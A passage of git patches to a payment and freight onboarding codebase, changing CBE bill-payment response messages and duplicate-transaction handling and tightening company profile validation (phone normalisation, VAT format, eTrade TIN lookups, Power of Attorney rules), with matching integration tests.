+ ...settleBody, + Amount: "1.00", + }); + expect(res.status).toBe(200); + expect(res.body.Response_Code).toBe("2"); + expect(res.body.Response_Description).toContain("already used by a different payment"); + }); + it("rejects a second debit on the same bill", async () => { const res = await cbe(token, "/cbe/payment", { Destination_Api_Name: API_NAME, @@ -165,7 +188,7 @@ describe("CBE Unified Bill (payment service as biller)", () => { Currency: "ETB", }); expect(res.status).toBe(200); - expect(res.body.Response_Code).toBe("3"); + expect(res.body.Response_Code).toBe("2"); }); it("reports an already-paid bill on a later query", async () => { @@ -175,6 +198,6 @@ describe("CBE Unified Bill (payment service as biller)", () => { Bill_Id: billId, }); expect(res.status).toBe(200); - expect(res.body.Response_Code).toBe("3"); + expect(res.body.Response_Code).toBe("2"); }); }); From 9366dd97527c89d2b3c336dd8cd070f9aeaa5504 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 18:14:36 +0000 Subject: [PATCH 07/48] simplify response descriptions and improve error --- .../modules/cbe-bill/bill-resolver.service.ts | 30 ++++++------------- .../src/modules/cbe-bill/cbe-bill.service.ts | 26 ++++++++-------- .../modules/cbe-bill/cbe-exception.filter.ts | 4 +-- .../cbe-bill/mappers/cbe-error.mapper.ts | 2 +- integration/src/cbe-bill.it.ts | 2 +- 5 files changed, 26 insertions(+), 38 deletions(-) diff --git a/apps/edr-payment-api/src/modules/cbe-bill/bill-resolver.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/bill-resolver.service.ts index f46571c6b..342fee04a 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/bill-resolver.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/bill-resolver.service.ts @@ -48,35 +48,23 @@ export function defaultPaymentReason( : "Freight invoice"; } -/** - * CBE reads Response_Description back to the payer at the counter or in the USSD prompt, so it - * has to name the thing they are actually holding — a passenger booking or a freight invoice — - * rather than our internal "bill" abstraction (plan §6.6). - */ -function subjectOf(referenceType: PaymentReferenceType): string { - return referenceType === PaymentReferenceType.BOOKING ? "booking" : "invoice"; -} - -export function reasonToDescription( - reason: string | null | undefined, - referenceType: PaymentReferenceType, -): string { - const subject = subjectOf(referenceType); +/** Short descriptions per CBE integration request — CBE's channel renders them as-is. */ +export function reasonToDescription(reason: string | null | undefined): string { switch (reason) { case "ALREADY_PAID": - return `This ${subject} has already been paid.`; + return "Already paid"; case "CANCELLED": - return `This ${subject} has been cancelled.`; + return "Cancelled"; case "REFUNDED": - return `This ${subject} has been refunded.`; + return "Refunded"; case "EXPIRED": - return `This ${subject} has expired and can no longer be paid.`; + return "Expired"; // A bill reference we issued whose order has since vanished from the domain app. Same // wording as an unknown Bill_Id — from the teller's side it is the same situation. case "NOT_FOUND": - return "Bill not found."; + return "Bill not found"; default: - return `This ${subject} is no longer payable.`; + return "Not payable"; } } @@ -135,7 +123,7 @@ export class BillResolverService { }`, ); // TRANSIENT so CBE may retry the same End_To_End_Txn_Id once we recover (plan R5). - throw new CbeBillError("Service temporarily unavailable.", "TRANSIENT"); + throw new CbeBillError("Service unavailable", "TRANSIENT"); } } } diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts index c56622da0..8a915ece7 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts @@ -130,7 +130,7 @@ export class CbeBillService { const billQuery = await this.billResolver.billQuery(intent); if (!billQuery.stillPayable) { throw new CbeBillError( - reasonToDescription(billQuery.reason, intent.referenceType), + reasonToDescription(billQuery.reason), "BUSINESS", ); } @@ -197,14 +197,14 @@ export class CbeBillService { ) { return mapPaymentFailure( dto, - `End_To_End_Txn_Id ${dto.End_To_End_Txn_Id} was already used by a different payment.`, + "Duplicate End_To_End_Txn_Id", ); } // Replay the stored body verbatim. Never re-settle. return prior.responsePayload as unknown as CbePaymentResponseDto; } if (prior.tradeStatus === "PENDING") { - return mapPaymentFailure(dto, "Payment is being processed."); + return mapPaymentFailure(dto, "Payment in progress"); } if (prior.failureClass === "BUSINESS") { // Final — retrying cannot change the answer. Same End_To_End_Txn_Id was already @@ -212,7 +212,7 @@ export class CbeBillService { // echoing the original reason, which no longer describes this request. return mapPaymentFailure( dto, - `End_To_End_Txn_Id ${dto.End_To_End_Txn_Id} was already processed and failed: ${prior.responseDescription ?? "unknown reason"}.`, + `Already processed: ${prior.responseDescription ?? "failed"}`, ); } // FAILED + TRANSIENT: allowed retry — fall through and re-run the settlement. @@ -225,7 +225,7 @@ export class CbeBillService { if (settled) { return mapPaymentFailure( dto, - `Invalid transaction reference number ${dto.Cbe_Txn_Ref}.`, + "Duplicate transaction ref", ); } @@ -253,7 +253,7 @@ export class CbeBillService { } catch (err) { if ((err as { code?: string }).code === PG_UNIQUE_VIOLATION) { // Concurrent duplicate of the same attempt lost the insert race. - return mapPaymentFailure(dto, "Payment is being processed."); + return mapPaymentFailure(dto, "Payment in progress"); } throw err; } @@ -264,7 +264,7 @@ export class CbeBillService { intent = await this.resolveIntent(dto.Bill_Id); if (dto.Currency && dto.Currency !== intent.currency) { - throw new CbeBillError("Payment currency does not match.", "BUSINESS"); + throw new CbeBillError("Currency mismatch", "BUSINESS"); } // Re-run bill-query — fresh, never cached. Last legitimate point for a synchronous @@ -272,7 +272,7 @@ export class CbeBillService { const billQuery = await this.billResolver.billQuery(intent); if (!billQuery.stillPayable) { throw new CbeBillError( - reasonToDescription(billQuery.reason, intent.referenceType), + reasonToDescription(billQuery.reason), "BUSINESS", ); } @@ -283,7 +283,7 @@ export class CbeBillService { Math.abs(amount - intent.amountMinor) > intent.amountMinor * AMOUNT_TOLERANCE ) { - throw new CbeBillError("Payment amount does not match.", "BUSINESS"); + throw new CbeBillError("Amount mismatch", "BUSINESS"); } const paidAt = new Date(dto.Timestamp); @@ -341,10 +341,10 @@ export class CbeBillService { private assertIntentPayable(intent: PaymentIntent): void { if (intent.status === ProviderPaymentStatus.REQUIRES_ACTION) return; if (intent.status === ProviderPaymentStatus.PROCESSING) { - throw new CbeBillError("Payment is being processed.", "BUSINESS"); + throw new CbeBillError("Payment in progress", "BUSINESS"); } throw new CbeBillError( - reasonToDescription(localReason(intent), intent.referenceType), + reasonToDescription(localReason(intent)), "BUSINESS", ); } @@ -352,11 +352,11 @@ export class CbeBillService { /** Check digit first (cheap reject), then the unique bill_reference lookup. */ private async resolveIntent(billId: string): Promise { if (!this.billReferenceService.isValid(billId)) { - throw new CbeBillError("Bill not found.", "BUSINESS"); + throw new CbeBillError("Bill not found", "BUSINESS"); } const intent = await this.intentsRepository.findByBillReference(billId); if (!intent || intent.provider !== ProviderMethod.CBE_BILL) { - throw new CbeBillError("Bill not found.", "BUSINESS"); + throw new CbeBillError("Bill not found", "BUSINESS"); } return intent; } diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts index a5a7055b5..5024c8cf3 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-exception.filter.ts @@ -40,7 +40,7 @@ export class CbeExceptionFilter implements ExceptionFilter { response.status(HttpStatus.SERVICE_UNAVAILABLE).json({ Status: "FAILED", Response_Code: "9", - Response_Description: "Service temporarily unavailable.", + Response_Description: "Service unavailable", }); return; } @@ -66,7 +66,7 @@ export class CbeExceptionFilter implements ExceptionFilter { response.status(HttpStatus.OK).json({ Status: "FAILED", Response_Code: "2", - Response_Description: "Internal server error.", + Response_Description: "Internal error", }); } } diff --git a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts index 98b5e8825..e2ec58114 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/mappers/cbe-error.mapper.ts @@ -26,5 +26,5 @@ export function toCbeFailure(err: unknown): { if (err instanceof CbeBillError) { return { description: err.message, failureClass: err.failureClass }; } - return { description: "Internal server error.", failureClass: "TRANSIENT" }; + return { description: "Internal error", failureClass: "TRANSIENT" }; } diff --git a/integration/src/cbe-bill.it.ts b/integration/src/cbe-bill.it.ts index a75e897a4..f630e9a88 100644 --- a/integration/src/cbe-bill.it.ts +++ b/integration/src/cbe-bill.it.ts @@ -174,7 +174,7 @@ describe("CBE Unified Bill (payment service as biller)", () => { }); expect(res.status).toBe(200); expect(res.body.Response_Code).toBe("2"); - expect(res.body.Response_Description).toContain("already used by a different payment"); + expect(res.body.Response_Description).toBe("Duplicate End_To_End_Txn_Id"); }); it("rejects a second debit on the same bill", async () => { From 8e75ebf5dcda31fcea9a9db58253893a0a124b03 Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 18:18:02 +0000 Subject: [PATCH 08/48] fix(cbe): update response for settled transactions to indicate Already paid --- .../src/modules/cbe-bill/cbe-bill.service.ts | 24 +++++-------------- integration/src/cbe-bill.it.ts | 14 +++++------ 2 files changed, 12 insertions(+), 26 deletions(-) diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts index 8a915ece7..1c6926b8a 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts @@ -184,24 +184,12 @@ export class CbeBillService { ); if (prior) { if (prior.tradeStatus === "SUCCESS") { - // A replay must be the SAME attempt. A reused id with different money details is - // not a retry — echoing the stored success would fake a settlement that never ran. - const orig = prior.requestPayload as unknown as - | CbePaymentRequestDto - | undefined; - if ( - orig && - (orig.Bill_Id !== dto.Bill_Id || - orig.Cbe_Txn_Ref !== dto.Cbe_Txn_Ref || - Number(orig.Amount) !== Number(dto.Amount)) - ) { - return mapPaymentFailure( - dto, - "Duplicate End_To_End_Txn_Id", - ); - } - // Replay the stored body verbatim. Never re-settle. - return prior.responsePayload as unknown as CbePaymentResponseDto; + // Per CBE integration request: a settled End_To_End_Txn_Id never replays the stored + // success — every repeat answers "Already paid". Money moved exactly once (the first + // call); this only changes what a duplicate hears back. NOTE this diverges from the + // original §6.5 replay design: if CBE retries because our SUCCESS response was lost + // in transit, it now sees FAILED for a debit we kept — reconcile such cases manually. + return mapPaymentFailure(dto, "Already paid"); } if (prior.tradeStatus === "PENDING") { return mapPaymentFailure(dto, "Payment in progress"); diff --git a/integration/src/cbe-bill.it.ts b/integration/src/cbe-bill.it.ts index f630e9a88..0d1fc7e0e 100644 --- a/integration/src/cbe-bill.it.ts +++ b/integration/src/cbe-bill.it.ts @@ -129,7 +129,6 @@ describe("CBE Unified Bill (payment service as biller)", () => { }); let settleBody: Record; - let settledTxnRef: string; it("settles the freight invoice when CBE reports the debit", async () => { const invoice = await currentInvoice(invoiceId); @@ -147,7 +146,6 @@ describe("CBE Unified Bill (payment service as biller)", () => { const res = await cbe(token, "/cbe/payment", settleBody); expect(res.status).toBe(200); expect(res.body.Response_Code).toBe("0"); - settledTxnRef = res.body.Destination_Txn_Ref; const paid = await poll<{ status: string }>( "invoice PAID via CBE bill", @@ -159,22 +157,22 @@ describe("CBE Unified Bill (payment service as biller)", () => { expect(paid.status).toBe("PAID"); }); - it("replays the stored success when CBE retries the same attempt verbatim", async () => { + it("answers 'Already paid' when the settled attempt is sent again verbatim", async () => { const res = await cbe(token, "/cbe/payment", settleBody); expect(res.status).toBe(200); - expect(res.body.Response_Code).toBe("0"); - // The stored body, not a re-settlement — same order id as the first answer. - expect(res.body.Destination_Txn_Ref).toBe(settledTxnRef); + expect(res.body.Status).toBe("FAILED"); + expect(res.body.Response_Code).toBe("2"); + expect(res.body.Response_Description).toBe("Already paid"); }); - it("rejects a settled End_To_End_Txn_Id reused with a different amount", async () => { + it("answers 'Already paid' when the settled End_To_End_Txn_Id is reused with a different amount", async () => { const res = await cbe(token, "/cbe/payment", { ...settleBody, Amount: "1.00", }); expect(res.status).toBe(200); expect(res.body.Response_Code).toBe("2"); - expect(res.body.Response_Description).toBe("Duplicate End_To_End_Txn_Id"); + expect(res.body.Response_Description).toBe("Already paid"); }); it("rejects a second debit on the same bill", async () => { From dd2b624aa66701ae6c4bf9c79d5bbb3c5664f327 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Thu, 6 Aug 2026 18:54:54 +0000 Subject: [PATCH 09/48] fix: onboarding validation --- .../modules/companies/companies.service.ts | 35 +- .../companies/dto/update-profile.dto.ts | 16 +- apps/edr-freight-web/backoffice/src/App.tsx | 2 + .../src/components/onboarding/ETradeInfo.tsx | 36 +- .../src/pages/accounts/CompanyProfileForm.tsx | 354 ++++++++++++++---- .../companyProfileForm/ETradeCompanyCard.tsx | 14 +- .../accounts/companyProfileForm/helpers.ts | 106 +++++- .../companyProfileForm/schema.test.ts | 180 +++++++++ .../accounts/companyProfileForm/schema.ts | 54 ++- .../src/pages/settings/TabCompanyProfile.tsx | 153 +++++--- .../portal/src/utils/result.ts | 19 +- 11 files changed, 804 insertions(+), 165 deletions(-) create mode 100644 apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index b5c953cac..eb6b28b44 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -2057,6 +2057,11 @@ export class CompaniesService { // replace it before the application counts as complete. const flaggedDelegation = delegationDue && delegation.flagged; + // Mirrors `poaProven` in buildCompanyIdentityState — see the note there. + const poaProven = identity.faydaRequired + ? identity.poa.verified + : identity.poa.verified || Boolean(identity.poa.name?.trim()); + const outstanding = [ ...missingInfo.map((f) => `Add your ${f.label.toLowerCase()}`), ...missingDocs.map((d) => `Upload your ${d.fileLabel}`), @@ -2074,8 +2079,19 @@ export class CompaniesService { ...(identity.faydaRequired && !identity.owner.verified ? ["Verify the company owner's identity with Fayda"] : []), - ...((poaRequired || poaProvided) && !identity.poa.verified - ? ["Verify your Power of Attorney's identity with Fayda"] + // Nationality-aware, exactly like `poaProven` in + // buildCompanyIdentityState and the check in `assertIdentityVerified`: + // Fayda is an Ethiopian national ID, so a foreign company's typed + // representative has to count. Demanding a verification here regardless + // made this list disagree with the rule actually enforced, and left a + // foreign freight forwarder unable to submit — asked for a Fayda + // verification its representative may have no way to obtain. + ...((poaRequired || poaProvided) && !poaProven + ? [ + identity.faydaRequired + ? "Verify your Power of Attorney's identity with Fayda" + : "Name your Power of Attorney, or verify them with Fayda", + ] : []), ...(identity.passportRequired && !identity.owner.passportNumber ? ["Add the company owner's passport number"] @@ -2089,7 +2105,10 @@ export class CompaniesService { const poaItemCount = delegationDue ? 1 : 0; // One item per identity credential the company has to prove: the owner // always (Fayda for Ethiopian, passport for foreign), plus the PoA once - // there is one — that one is Fayda whatever the nationality. + // there is one — Fayda for an Ethiopian company, a named representative + // for a foreign one, same rule as `poaProven` above. Counting a foreign + // company's typed PoA as unproven here left the progress bar permanently + // short of 100% on an item it had already satisfied. const ownerCredentialDue = identity.faydaRequired || identity.passportRequired; const ownerCredentialProven = identity.faydaRequired @@ -2099,7 +2118,7 @@ export class CompaniesService { (ownerCredentialDue ? 1 : 0) + (delegationDue ? 1 : 0); const missingIdentityCount = (ownerCredentialDue && !ownerCredentialProven ? 1 : 0) + - (delegationDue && !identity.poa.verified ? 1 : 0); + (delegationDue && !poaProven ? 1 : 0); const total = requiredInfo.length + requiredDocCount + @@ -2767,7 +2786,13 @@ export class CompaniesService { // The verified payload owns the person's details from here on. ...(result.fullName ? { [`${prefix}Name`]: result.fullName } : {}), ...(result.email ? { [`${prefix}Email`]: result.email } : {}), - ...(result.phoneNumber ? { [`${prefix}Phone`]: result.phoneNumber } : {}), + // Fayda returns whatever the national registry holds, which is routinely a + // local number ("0911223344"). Every typed phone in this service is stored + // E.164, and `@IsValidPhone()` rejects anything else — so a raw claim here + // becomes a value the portal reads back and cannot resubmit. + ...(result.phoneNumber + ? { [`${prefix}Phone`]: normalizeE164(result.phoneNumber) } + : {}), ...(result.address ? { [`${prefix}Address`]: result.address } : {}), }; diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index 596644fab..dc7729479 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -1,4 +1,12 @@ -import { IsString, IsOptional, IsEmail, MaxLength, IsEnum, IsIn } from 'class-validator'; +import { + IsString, + IsOptional, + IsEmail, + MaxLength, + IsEnum, + IsIn, + Matches, +} from 'class-validator'; import { ETHIOPIAN_REGIONS, type EthiopianRegion } from '@edr/types'; import { CompanyNationality } from '../entities/company.entity'; import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; @@ -39,9 +47,13 @@ export class UpdateProfileDto { @IsTin({ message: 'TIN must be exactly 10 digits' }) tin?: string; + // Ethiopian VAT registration numbers are 10 digits, the same shape as the + // TIN. Both portal forms enforce that; without it here the API happily stored + // whatever a stale client sent, and the two layers disagreed about what the + // column may hold. @IsOptional() @IsString() - @MaxLength(50) + @Matches(/^\d{10}$/, { message: 'VAT number must be exactly 10 digits' }) vatNumber?: string; // `fanNumber` is deliberately absent: the FAN is the Fayda number of the diff --git a/apps/edr-freight-web/backoffice/src/App.tsx b/apps/edr-freight-web/backoffice/src/App.tsx index 462414480..bda88d912 100644 --- a/apps/edr-freight-web/backoffice/src/App.tsx +++ b/apps/edr-freight-web/backoffice/src/App.tsx @@ -647,6 +647,8 @@ const DJ_CLEARANCE_HREF = "/dashboard/gl-djibouti/clearance"; const GL_WORKFLOW_PATH_PATTERNS: RegExp[] = [ /^\/dashboard\/contracts\/[^/]+\/create-booking(\/|$)/, /^\/dashboard\/bookings\/[^/]+\/clearance(\/|$)/, + // The ET hub's rows open the shipment clearance detail at this URL. + /^\/dashboard\/clearance\/[^/]+(\/|$)/, ]; const isEtClearanceItem = (item: SidebarItem): boolean => diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx index e92b907e2..74e267a30 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -26,9 +26,22 @@ interface ETradeInfoProps { onStatusChange?: (status: ETradeStatus) => void; /** Called when the TIN changes away from the last fetched value — clear whatever it filled in. */ onReset?: () => void; + /** + * This TIN already passed eTrade in an earlier session (the saved profile + * carries its registration details), so adopt it on arrival instead of + * re-querying. Rehydration lands the TIN after the first render, which used + * to look exactly like the customer typing a new one: every reopen fired a + * live lookup that could fail on an outage, and re-marked eTrade's fields as + * freshly verified so they were resubmitted on the next save. "Get Data" + * stays available for a deliberate re-verify. + */ + alreadyVerified?: boolean; } -const isValidTin = (tin: string) => tin.length === 10; +// Digits, not just length: a 10-character non-numeric TIN used to fire a lookup +// that could only fail, and the failure was then reported as "this TIN isn't +// registered with eTrade" instead of "that isn't a TIN". +const isValidTin = (tin: string) => /^\d{10}$/.test(tin); export default function ETradeInfo({ tin, @@ -37,6 +50,7 @@ export default function ETradeInfo({ onDataLoaded, onStatusChange, onReset, + alreadyVerified, }: ETradeInfoProps) { const mutation = useETradeData(); const isLoading = mutation.isPending; @@ -63,6 +77,13 @@ export default function ETradeInfo({ // doesn't refire the lookup the moment this mounts. const lastFetchedTin = useRef(tin || null); useEffect(() => { + // A rehydrated TIN that eTrade already accepted: adopt it silently. Doing + // this before the change-detection below also keeps `onReset` from firing, + // which would wipe the very registration details that prove it passed. + if (alreadyVerified && lastFetchedTin.current === null && isValidTin(tin)) { + lastFetchedTin.current = tin; + return; + } if (tin !== lastFetchedTin.current) { // TIN moved away from whatever we last fetched — that result (verified // data, "taken", or an error) no longer describes this TIN. Drop it so @@ -82,12 +103,17 @@ export default function ETradeInfo({ const apiError = mutation.isError && mutation.error ? extractApiError(mutation.error) : null; - // A 400 here means eTrade simply has no record for this TIN. - const notFound = apiError?.statusCode === 400; + // A 400 here usually means eTrade has no record for this TIN — but the API + // also wraps its own transport failures as a 400 ("Failed to fetch company + // info from eTrade: …"), and reporting an outage as "this TIN isn't + // registered" sends the customer off to re-check a number that was fine. + const unreachable = /failed to fetch/i.test(apiError?.message ?? ""); + const notFound = apiError?.statusCode === 400 && !unreachable; const errorMessage = apiError && !notFound - ? apiError.message || - "We couldn't reach eTrade to fetch your company information. Please try again." + ? unreachable || !apiError.message + ? "We couldn't reach eTrade to fetch your company information. Please try again in a moment." + : apiError.message : null; const status: ETradeStatus = isLoading diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 17c88d792..15354cfd3 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -38,6 +38,10 @@ import { } from "./companyProfileForm/schema"; import { buildPayload, + firstPresent, + firstValidEmail, + firstValidPhone, + normalizeIdentityPhones, stepPayload, toFormValues, } from "./companyProfileForm/helpers"; @@ -45,6 +49,7 @@ import FaydaVerifyPanel from "@/components/FaydaVerifyPanel"; import { verifaydaService } from "@/services/verifayda.service"; import type { CompanyIdentityState } from "@/services/verifayda.service"; import { LinkCheckboxCard } from "./companyProfileForm/LinkCheckboxCard"; +import { ReadOnlyField } from "./companyProfileForm/ReadOnlyField"; import ETradeCompanyCard from "./companyProfileForm/ETradeCompanyCard"; import StepSection from "./companyProfileForm/StepSection"; @@ -67,7 +72,7 @@ export default function CompanyProfileForm({ submitError, uploadedDocumentKeys, onUploadDocuments, - identity, + identity: rawIdentity, onIdentityChange, }: { documentSettingCode: string; @@ -115,6 +120,15 @@ export default function CompanyProfileForm({ */ onIdentityChange?: () => void; }) { + // A Fayda claim carries the phone as the national registry holds it, which is + // often a local number the form's E.164 validation (and the API's + // `@IsValidPhone()`) would reject — for a value the customer never typed and + // has no field to correct. Normalize once, here, so every read below is safe. + const identity = useMemo( + () => normalizeIdentityPhones(rawIdentity), + [rawIdentity], + ); + const [step, setStep] = useState(initialStep ?? "company"); const [saving, setSaving] = useState(false); const [saveError, setSaveError] = useState(null); @@ -188,15 +202,20 @@ export default function CompanyProfileForm({ const { register, control, - handleSubmit, trigger, watch, setValue, - formState: { errors }, + getValues, + formState: { errors, dirtyFields }, } = useForm({ resolver: zodResolver( buildOnboardingSchema(identity?.passportRequired === true), ), + // `values` below re-seeds the form whenever the profile is refetched — and + // an in-page identity action (ticking "same as owner") refetches it. Without + // this, that reset silently throws away whatever the customer was part-way + // through typing on the current step. + resetOptions: { keepDirtyValues: true, keepErrors: true }, defaultValues: { companyName: "", companyEmail: "", @@ -266,21 +285,28 @@ export default function CompanyProfileForm({ phone: string; } | null>(null); + // `shouldDirty` is what marks the eTrade bundle as "re-verified this session"; + // `stepPayload` sends those keys only when dirty, so an unchanged record is + // never echoed back to the API (which would make it re-query eTrade). const handleETradeDataLoaded = (data: CompanyRegistrationData) => { + const dirty = { shouldDirty: true } as const; if (data.companyName) { - setValue("companyName", data.companyName, { shouldValidate: true }); + setValue("companyName", data.companyName, { + shouldValidate: true, + ...dirty, + }); } - setValue("licenceNumber", data.licenceNumber); - setValue("statusDescription", data.statusDescription); - setValue("dateRegistered", data.dateRegistered); - setValue("renewedFrom", data.renewedFrom); - setValue("renewalDate", data.renewalDate); - setValue("renewedTo", data.renewedTo); - setValue("region", data.region); - setValue("zone", data.zone); - setValue("woreda", data.woreda); - setValue("kebele", data.kebele); - setValue("houseNo", data.houseNo); + setValue("licenceNumber", data.licenceNumber, dirty); + setValue("statusDescription", data.statusDescription, dirty); + setValue("dateRegistered", data.dateRegistered, dirty); + setValue("renewedFrom", data.renewedFrom, dirty); + setValue("renewalDate", data.renewalDate, dirty); + setValue("renewedTo", data.renewedTo, dirty); + setValue("region", data.region, dirty); + setValue("zone", data.zone, dirty); + setValue("woreda", data.woreda, dirty); + setValue("kebele", data.kebele, dirty); + setValue("houseNo", data.houseNo, dirty); // companyAddress is composed reactively from the address fields below, so // setting region/zone/woreda/kebele/houseNo above is enough — no need to // compose it here. companyPhone is derived below (identity → eTrade → @@ -292,6 +318,7 @@ export default function CompanyProfileForm({ setValue( "etradePhone", data.managerPhone || data.regularPhone || data.mobilePhone, + dirty, ); setEtradeOwner({ @@ -321,28 +348,37 @@ export default function CompanyProfileForm({ setEtradeOwner(null); }; - // companyEmail/companyPhone are no longer typed — the Fayda-verified owner + // companyEmail/companyPhone are derived, not typed — the Fayda-verified owner // is the highest-trust source (that's the whole point of verifying), eTrade's // registered number and the account email/phone are the fallbacks used // before verification happens. + // + // `firstValid*`, not `??`: these sources are optional AND unreliable. Fayda's + // email/phone claims can come back empty, and eTrade's registered phone is + // free text that arrives as things like "09 " (→ "+2519"). `??` stops + // at the first non-null, so a junk value became a field with no input and a + // 400 from the API on a value the customer never typed. Skip anything that + // isn't usable and fall through. + // + // When every source really is unusable the fields become editable below + // rather than blocking — the API requires a company email and phone at + // submit (REQUIRED_COMPANY_INFO), so leaving no way to supply them is a dead + // end. + const derivedEmail = firstValidEmail(identity?.owner.email, user.email); + const derivedPhone = firstValidPhone( + identity?.owner.phone, + etradeOwner?.phone, + user.phoneNumber, + ); useEffect(() => { - setValue("companyEmail", identity?.owner.email ?? user.email ?? "", { - shouldValidate: true, - }); + if (derivedEmail) setValue("companyEmail", derivedEmail); // eslint-disable-next-line react-hooks/exhaustive-deps - }, [identity?.owner.email, user.email, rehydrate]); + }, [derivedEmail, rehydrate]); useEffect(() => { - setValue( - "companyPhone", - identity?.owner.phone ?? - etradeOwner?.phone ?? - toEthiopianE164(user.phoneNumber) ?? - "", - { shouldValidate: true }, - ); + if (derivedPhone) setValue("companyPhone", derivedPhone); // eslint-disable-next-line react-hooks/exhaustive-deps - }, [identity?.owner.phone, etradeOwner?.phone, user.phoneNumber, rehydrate]); + }, [derivedPhone, rehydrate]); // "Same as …" links. A checked card prefills the target step's fields from the // source step and disables them (kept mirrored while linked); unchecking clears @@ -352,6 +388,16 @@ export default function CompanyProfileForm({ const [gmSameAsOwner, setGmSameAsOwner] = useState( identity?.gmSameAsOwner ?? false, ); + // `identity` is undefined on the first render (the requirements query is still + // in flight), so the initial state above freezes at `false` — adopt the + // server's declaration the moment it lands, or a resumed draft shows an + // unticked box over a GM that is linked server-side. + const identityLoaded = useRef(false); + useEffect(() => { + if (!identity || identityLoaded.current) return; + identityLoaded.current = true; + setGmSameAsOwner(identity.gmSameAsOwner); + }, [identity]); const [contactSameAsGm, setContactSameAsGm] = useState(false); // General Manager source. The company step's email/phone are seeded from @@ -365,16 +411,26 @@ export default function CompanyProfileForm({ // A Fayda-verified owner outranks eTrade's registered owner — it's the // higher-trust source, and the whole point of proving identity is to stop // trusting typed/looked-up data for this. - const gmSourceName = - identity?.owner.name ?? etradeOwner?.name ?? user.name?.en ?? ""; - const gmSourceEmail = - identity?.owner.email ?? (companyEmail || user.email || ""); - const gmSourcePhone = - identity?.owner.phone ?? - companyPhone ?? - etradeOwner?.phone ?? - toEthiopianE164(user.phoneNumber) ?? - ""; + const gmSourceName = firstPresent( + identity?.owner.name, + etradeOwner?.name, + user.name?.en, + ); + + const gmSourceEmail = firstValidEmail( + identity?.owner.email, + companyEmail, + user.email, + ); + // Same reason as `derivedPhone`: this value is written into + // `generalManagerPhone`, which the API validates with `@IsValidPhone()`, so an + // unusable eTrade number here 400s the personnel step instead. + const gmSourcePhone = firstValidPhone( + identity?.owner.phone, + companyPhone, + etradeOwner?.phone, + user.phoneNumber, + ); useEffect(() => { if (!gmSameAsOwner) return; @@ -458,10 +514,24 @@ export default function CompanyProfileForm({ const gmEstablished = gmVerified || (identity ? !identity.faydaRequired && gmTyped : gmTyped); - /** Same rule for the representative: verified, or typed where Fayda is optional. */ + /** + * Same rule for the representative: verified, or entered where Fayda is + * optional. + * + * Matches the API's own rule (`REQUIRED_POA_FIELDS`): a typed representative + * counts once they have a name, an email and a phone. The step now renders + * inputs for all three, so this is something the customer can actually + * satisfy — previously it gated on `poaName`, for which no input existed + * anywhere, leaving a foreign freight forwarder permanently stuck. + */ + const poaTyped = Boolean( + watch("poaName")?.trim() && + watch("poaEmail")?.trim() && + watch("poaPhone")?.trim(), + ); const poaEstablished = (identity?.poa.verified ?? false) || - (identity ? !identity.faydaRequired && Boolean(watch("poaName")?.trim()) : false); + (identity ? !identity.faydaRequired && poaTyped : false); // While linked, mirror the source values into the (disabled) target fields so // the copy stays current even if the user goes back and edits the source. @@ -616,8 +686,12 @@ export default function CompanyProfileForm({ // Until then the upload is hidden: there is no representative for the paper // to authorise, and a freight forwarder is held on the verification gate // below rather than on a file field it cannot yet fill. - const poaProvided = identity?.poa.verified ?? false; - const delegationRequired = poaProvided; + const poaProvided = (identity?.poa.verified ?? false) || poaTyped; + // A freight forwarder owes the paper whether or not its representative could + // verify with Fayda — the API demands it at completion either way. Keying + // this on the verification alone hid the upload from a foreign forwarder and + // then failed them on submit for a file they were never shown. + const delegationRequired = poaProvided || requirePoa; const delegationPresent = (uploadedDocumentKeys ?? []).includes(POA_DELEGATION_FILE_KEY) || (() => { @@ -625,15 +699,63 @@ export default function CompanyProfileForm({ return 